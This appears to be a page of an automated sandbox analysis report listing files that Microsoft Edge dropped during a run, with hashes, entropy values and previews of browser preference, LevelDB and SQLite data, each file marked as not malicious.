Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\5b1db556-448f-4162-a1c4-04ad06a7581b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\76f7710e-e5ad-42d7-8fdd-7ba0bf869c42.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9261
Entropy (8bit):	5.10351557336086
Encrypted:	false
SSDEEP:	192:strSWsuIcssZihnkV03688bV+FiA66Wr/aFIMYbPuYJ:strxsuNsfhqLbGix6WraTYj
MD5:	1D3CB6F5AAA67B0A998B4D646E259EA3
SHA1:	D24875C299B173E3D172492BD02DEA3689398EF2
SHA-256:	585D7BD4D0889B96D1C4E65785ADA71D844A613D48E5A49C229191DE8A05499A
SHA-512:	4EBB1E35485C46D053C1D4D21416715D7FE304177C5C65F678C1C5DB80A949D4B6F3395393324DC24688297E4CF82924337629D2AFD3100CB5392BBBF49BADCF
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13378907540449411","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":1023,"browser_content_container_width":1280,"browser_content_container_x":0,"browser_content_container_y":0,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"default_apps_install_state":3,"dips_timer_last_update":"13378907539866650","domain_dive

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\77e59a40-b1ed-4c78-a8d2-21ee41351ba3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13333
Entropy (8bit):	5.269182802556165
Encrypted:	false
SSDEEP:	384:stFPGoMSu9suNsfhMVJbGix6WaOXlaTYj:sHOoDuBsfObGix1aTYj
MD5:	DD7C313D03A7C3FA5B6C678CEAAA0532
SHA1:	FD09DEFD8FD58E256E55AFEA099D3580C80EE2A4
SHA-256:	75A0819A97FCD674B52FAE3D77E01262EC2FEC9174FCC6508AFF7715068DF72E
SHA-512:	816BB9D12927228165C431ECD442A3D7AA74DBF745DF4493D6E492BE067F85E8B3559B52C0CD20BEEC32C678F9555280218A2B00A82E57873422C828590A4682
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13378907540449411","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	307
Entropy (8bit):	5.263114572565296
Encrypted:	false
SSDEEP:	6:7Ic3M1923oH+Tcwtp3hBtB2KLlpwIq2P923oH+Tcwtp3hBWsIFUv:7Ic3hYebp3dFLThv4Yebp3eFUv
MD5:	9333172438939A8148B8A971B516C677
SHA1:	1DD67B22AD20681B495F3CC2D104390BAF48E1CA
SHA-256:	84A0314A1B7F7989893606545A41BF5A45DCB3449998A68B11999287273F32D5
SHA-512:	83D4C4194F78355927C44381FEEDEBC5947F06A46E64BBD3D703621F22050CCFDE1FE925A3447D394E05484A59D4B94A47A7211515E6C9DBD4C973F81ED1526A
Malicious:	false
Preview:	2024/12/17-06:12:25.514 584 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/12/17-06:12:25.536 584 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.2228743780599
Encrypted:	false
SSDEEP:	24576:v+/PN8FXfI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:v+/PN8Bfx2mjF
MD5:	5598F7B6964918C1E9B36E2F508FBAEC
SHA1:	FB9057D00159C30C9654C1A42D292145E7C801B9
SHA-256:	5EF44681A8B1B542C4183875ED7788AECC81DAA5716EEAF5B330514D5D3DEDF9
SHA-512:	9D1266F8FEB5E4B3104FF22CF1CD5567BDED611DF331D7FAAE8F5704DE1574EAB5BC9C11863236B751B4B7C79C153115E5A39180D1C89F0916938650D9CCFE5E
Malicious:	false
Preview:	...m.................DB_VERSION.1.l.i.................QUERY_TIMESTAMP:arbitration_priority_list4...13340900604462938.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.090973014233893
Encrypted:	false
SSDEEP:	6:7B/q2P923oH+Tcwt9Eh1tIFUt8OBBZmw+OBIkwO923oH+Tcwt9Eh15LJ:7B/v4Yeb9Eh16FUt8OBB/+OBI5LYeb9O
MD5:	17A58024F2909EFE8094FFDEEE45D801
SHA1:	F946FEBE03FDE86BD4AC107EAEC94C96A22FAEAE
SHA-256:	EB624977E8015A33FA86E715333848A8BB403DEFF931AB049070C27B6799946F
SHA-512:	37119642CAA26DFFA7351D16E3AF16A1C212D3359117E847C713679CC7FA2E27DB44A5A5825AA3122BE9BA58E08ADBDDCF92CB8608DE948D5CAF8E1622841EFA
Malicious:	false
Preview:	2024/12/17-06:12:25.402 20c0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/12/17-06:12:25.403 20c0 Recovering log #3.2024/12/17-06:12:25.408 20c0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.090973014233893
Encrypted:	false
SSDEEP:	6:7B/q2P923oH+Tcwt9Eh1tIFUt8OBBZmw+OBIkwO923oH+Tcwt9Eh15LJ:7B/v4Yeb9Eh16FUt8OBB/+OBI5LYeb9O
MD5:	17A58024F2909EFE8094FFDEEE45D801
SHA1:	F946FEBE03FDE86BD4AC107EAEC94C96A22FAEAE
SHA-256:	EB624977E8015A33FA86E715333848A8BB403DEFF931AB049070C27B6799946F
SHA-512:	37119642CAA26DFFA7351D16E3AF16A1C212D3359117E847C713679CC7FA2E27DB44A5A5825AA3122BE9BA58E08ADBDDCF92CB8608DE948D5CAF8E1622841EFA
Malicious:	false
Preview:	2024/12/17-06:12:25.402 20c0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/12/17-06:12:25.403 20c0 Recovering log #3.2024/12/17-06:12:25.408 20c0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Collections\collectionsSQLite

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 34, database pages 18, cookie 0x19, schema 4, UTF-8, version-valid-for 34
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	0.4947385728088827
Encrypted:	false
SSDEEP:	96:xR94jweGq2L4H7pgNPdQyoDbel9myJrDVb4:f94ZBS4FgNPdPl9myRDVb4
MD5:	29C9AF42D59BA452C914D337F83778D8
SHA1:	0D4075E73B0189BD28D6968499DCFDE5975116CB
SHA-256:	DFDAE22D17235546DAF4200A5920C46B10E0885D9A0BE747D3DE14F432817613
SHA-512:	DB03C53D1CC2AE5E1E7882437730454AC27842FE5211A6DBDBBB5131EB0D607DB5D2F26EADB08CD9BAD90FD93D6E04A2C27361FE5BD1B510467D2E9BAEF90FBE
Malicious:	false
Preview:	SQLite format 3......@ ..."..................................................................."..j....................0...{...h.6.~.%...U........................................................................................................................................................................................................................................................................................................................................................................G...##..Utablecollectionscollections.CREATE TABLE collections ( id LONGVARCHAR PRIMARY KEY, date_created REAL NOT NULL, date_modified REAL NOT NULL, title LONGVARCHAR NOT NULL, position INTEGER NOT NULL, is_syncable INTEGER DEFAULT 1, suggestion_url LONGVARCHAR, suggestion_dismissed INTEGER, suggestion_type INTEGER, thumbnail BLOB, is_custom_thumbnail INTEGER NOT NULL DEFAULT 0, tag LONGVARCHAR, thumbnail_url LONGVARCHAR, is_marked_for_deletion INTEGER)..........tableitemsitems.CREATE TABLE items

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.43508159006069336
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBI:TouQq3qh7z3bY2LNW9WMcUvB
MD5:	F5237AED0F897E7619A94843845A3EC3
SHA1:	A0C752C9C28A753CFB051AACE2ADA78A6D1288C3
SHA-256:	D4463972AD7B1582F05C8E17074CE863D45CA625C2C672DB0D37F3AF4C7ACE42
SHA-512:	D3C9718794E455D415D8EDF23B576E0A70356B8D71B8DD374D25B8065FEF608E114E13395B4B54462739882A141F4DBE00E3A370D6E4160504428A849CC893A3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	635202
Entropy (8bit):	6.015641405985325
Encrypted:	false
SSDEEP:	12288:dmaP2W8JQiCtQ9/IQW8bvw7kFz8PbIfKGnzPjPMK56nQuda:d158g6DikFwPbW3MKwk
MD5:	3E60FDAC028F69F488D6EF5351BED25C
SHA1:	470E51D9455EBD53E982A9BBD87139A1960A0211
SHA-256:	AA2CD346CEC310F39A942459E1EF0974033D7107CC937B25F08BCC721E502575
SHA-512:	F1C57BB5F40721752079019DA68F71E142CFFF0A8BEB846CA24FED61FACFBCB6B3C7132A2AECBDACFEC4526B89EBFA0DE2B17FF13A208804FAF1E12D92811D79
Malicious:	false
Preview:	...m.................DB_VERSION.1..l..................BLOOM_FILTER:..&{"numberOfHashFunctions":8,"shiftBase":7,"bloomFilterArraySize":3759820,"primeBases":[5381,5381,5381,5381],"supportedDomains":"GFf64FMwbTXONwpTKw8NswCMcDsTVutudxdC2VBNvqhRP5f8uIpOCpOEQF8P1FwhE/L5zzVDFUhlVkAyNg+QuR5AdfrHMaGmUYmGNsEWYR3+DcNBpZ/I5Kibhl4YVjThBkPcIOC9odU2mFrQP1mAq7X/iiSahqI2Dpcr7UQx3fiFGc+G7XS3ADWuanE3R+gk9baykePz1ufouCz2G6MEEPn8bWcpcyUh9W8HVj78wJDg545r3xfqy9Eyybv1AY7wk5NysoFumawShyBUcAfG+SahV7VCYKy5zIPNyoCeHT7RoaXGBpNlEkGeEz1pYIKUGda3nlWrAEwSDzlhgehpJ/X1Rp9tYqpwf38kC6BMCxZCRL4z6g5SdaGqv5ivcLrieLvK2t+5NxWiDNhU+IvXTnVlWeGTn2T95gH+7lnN+XRyxA1bm2H2t7/ZXMQPghA+jmq1JXjNEEY7ZygGMT6g8AJP+eKF+uMA9nLdAKgqMWaAEIEHpe6cVu9h33kKHDUc4YBhOqRQmDMW5E6AMOPT/pEyBLKjkj1WvRlUFemwOegxLnKlu8WdpyNChIXAZh5ssx4XScADAB8JF4uenIqZ/8VqvDWcj/EO28Kg/hdaq5AdTOkxN5+g+VcYlQjtUvp9wec76PnYAi073dVfe0LdOoZtneuxu0WHqemOudoq5KjhkrnMV21rCBsiksEM6oueFQz7/UD9LKDYqAE7eN5pdP6Isz+ByLpm5GWLTZxK5E1r3UAC/bHUgnXDo22YLMiIEVmkLwXS2Vxykqczr6CUDolW/WRvObO/vpH

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\000004.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	COM executable for DOS
Category:	dropped
Size (bytes):	142
Entropy (8bit):	5.051259457945998
Encrypted:	false
SSDEEP:	3:X9mlt38E28xp4m3rscUSW2MWdXUV+h/tlf+nETPxpK2x7LlcYjnBFX27sn:tmlt38D8xSEsIXNXUO+n0PxEWNcYjnBf
MD5:	5E129B592DA42F6972464E441BE8DF5C
SHA1:	1E5A094B8F04F8027524CD7E618ACC7C6B2DDC9F
SHA-256:	D6149700CA6E227954A8DC3BA5E63AA2C710552279F8BE7737D5D37FE183FE8C
SHA-512:	1797D66B4EB424BB694FBCA176F3767F40B1B2BBC19ECD72E2837BCACA2CBD8E65BE68B61A1CD45E2B87997D9C1017EA21227668EE9D0A7DBF46D079B580970A
Malicious:	false
Preview:	..Z.9................BLOOM_FILTER_EXPIRY_TIME:.1734520355.382463.8~.G................BLOOM_FILTER_LAST_MODIFIED:.Mon, 16 Dec 2024 22:29:03 GMT

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\000005.ldb

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	635183
Entropy (8bit):	6.0150488963174
Encrypted:	false
SSDEEP:	12288:9maY2WDJQKCtP9/IQf8bvwrkHtePbPcKGncPjRQK5VnMNdo:91JPg7DgkHsPbSkQKK2
MD5:	1BDC22829D6B48F827D4A497D9211035
SHA1:	291802612BE131696D0CF8294F402AC4C357A377
SHA-256:	99D1BFA88799B53E1AD9EF6ABB1CF9985E8EA687632A63871844C65128CE6750
SHA-512:	81B9043179E4B02D3CCEAADB39002261396A3F21E8D509B4C619CE4D263DAB298DB52B7419BB1E94338232AA2EE1D16C6E91EE62791A66B5068692D82C5D6546
Malicious:	false
Preview:	....&BLOOM_FILTER:........{"numberOfHashFunctions":8,"shiftBase":7,"bloomFilterArraySize":3759820,"primeBases":[5381,5381,5381,5381],"supportedDomains":"GFf64FMwbTXONwpTKw8NswCMcDsTVutudxdC2VBNvqhRP5f8uIpOCpOEQF8P1FwhE/L5zzVDFUhlVkAyNg+QuR5AdfrHMaGmUYmGNsEWYR3+DcNBpZ/I5Kibhl4YVjThBkPcIOC9odU2mFrQP1mAq7X/iiSahqI2Dpcr7UQx3fiFGc+G7XS3ADWuanE3R+gk9baykePz1ufouCz2G6MEEPn8bWcpcyUh9W8HVj78wJDg545r3xfqy9Eyybv1AY7wk5NysoFumawShyBUcAfG+SahV7VCYKy5zIPNyoCeHT7RoaXGBpNlEkGeEz1pYIKUGda3nlWrAEwSDzlhgehpJ/X1Rp9tYqpwf38kC6BMCxZCRL4z6g5SdaGqv5ivcLrieLvK2t+5NxWiDNhU+IvXTnVlWeGTn2T95gH+7lnN+XRyxA1bm2H2t7/ZXMQPghA+jmq1JXjNEEY7ZygGMT6g8AJP+eKF+uMA9nLdAKgqMWaAEIEHpe6cVu9h33kKHDUc4YBhOqRQmDMW5E6AMOPT/pEyBLKjkj1WvRlUFemwOegxLnKlu8WdpyNChIXAZh5ssx4XScADAB8JF4uenIqZ/8VqvDWcj/EO28Kg/hdaq5AdTOkxN5+g+VcYlQjtUvp9wec76PnYAi073dVfe0LdOoZtneuxu0WHqemOudoq5KjhkrnMV21rCBsiksEM6oueFQz7/UD9LKDYqAE7eN5pdP6Isz+ByLpm5GWLTZxK5E1r3UAC/bHUgnXDo22YLMiIEVmkLwXS2Vxykqczr6CUDolW/WRvObO/vpHqRCZMFqXmSG6Abc4z8bIucyyzoYTXsuB6aaXR1pNRBl9

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	512
Entropy (8bit):	5.258839359559114
Encrypted:	false
SSDEEP:	12:79Myv4Yebn9GFUt8Oy/+OaR5LYebn95Z9phxf0TSfd+KO+h:79N4Yeb9ig8OCoLYeb9zL4TJ+h
MD5:	4D0027D74FA5875B64A89FC712217A14
SHA1:	A0821DCC8ABBA6121B8F1298872AC7914B9EFFB2
SHA-256:	DF282643E6C67F3351716BCC60DC57A9A8A2214A8BE81E5CFB059D6036E41D8D
SHA-512:	2EA523AF8BD6AC13DC53D4010464DE13AD8C8CD693F954370491A343638C0F401B1D8A7A7A867845B6D38C1A3A4BA2C8774C67FB6CC07D56A46EDA64A929D2F7
Malicious:	false
Preview:	2024/12/17-06:12:19.119 1c38 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/12/17-06:12:19.120 1c38 Recovering log #3.2024/12/17-06:12:19.120 1c38 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .2024/12/17-06:12:35.429 18cc Level-0 table #5: started.2024/12/17-06:12:35.455 18cc Level-0 table #5: 635183 bytes OK.2024/12/17-06:12:35.456 18cc Delete type=0 #3.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	512
Entropy (8bit):	5.258839359559114
Encrypted:	false
SSDEEP:	12:79Myv4Yebn9GFUt8Oy/+OaR5LYebn95Z9phxf0TSfd+KO+h:79N4Yeb9ig8OCoLYeb9zL4TJ+h
MD5:	4D0027D74FA5875B64A89FC712217A14
SHA1:	A0821DCC8ABBA6121B8F1298872AC7914B9EFFB2
SHA-256:	DF282643E6C67F3351716BCC60DC57A9A8A2214A8BE81E5CFB059D6036E41D8D
SHA-512:	2EA523AF8BD6AC13DC53D4010464DE13AD8C8CD693F954370491A343638C0F401B1D8A7A7A867845B6D38C1A3A4BA2C8774C67FB6CC07D56A46EDA64A929D2F7
Malicious:	false
Preview:	2024/12/17-06:12:19.119 1c38 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/12/17-06:12:19.120 1c38 Recovering log #3.2024/12/17-06:12:19.120 1c38 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .2024/12/17-06:12:35.429 18cc Level-0 table #5: started.2024/12/17-06:12:35.455 18cc Level-0 table #5: 635183 bytes OK.2024/12/17-06:12:35.456 18cc Delete type=0 #3.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	103
Entropy (8bit):	5.287315490441997
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVj2Thin/GpR8xFxN3erkEtl:scoBY7j2Q/+KxFDkHl
MD5:	B987581B38C2439D148DE0B235DA8457
SHA1:	72F284B50FC9F8F7055DD32F746D311D9DB3D5D5
SHA-256:	8E8CCF597EB794A3832FA9094F758D2AFC34CF9333B5776A1507CC2D5694AF52
SHA-512:	7E741B1E97D08918274192AAF0DDF94809D2ABE94E511F47FB863D8E806D62A8FABD07A98F64E9B925A474D79FC06F887E0171C6A3AD61693475A849E3F914E4
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator.......u..7...............&.BLOOM_FILTER:.........DB_VERSION........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6132545093774778
Encrypted:	false
SSDEEP:	24:TLapR+DDNzWjJ0npnyXKUO8+jSObkBQpsObkBmL:TO8D4jJ/6Up+kBvG
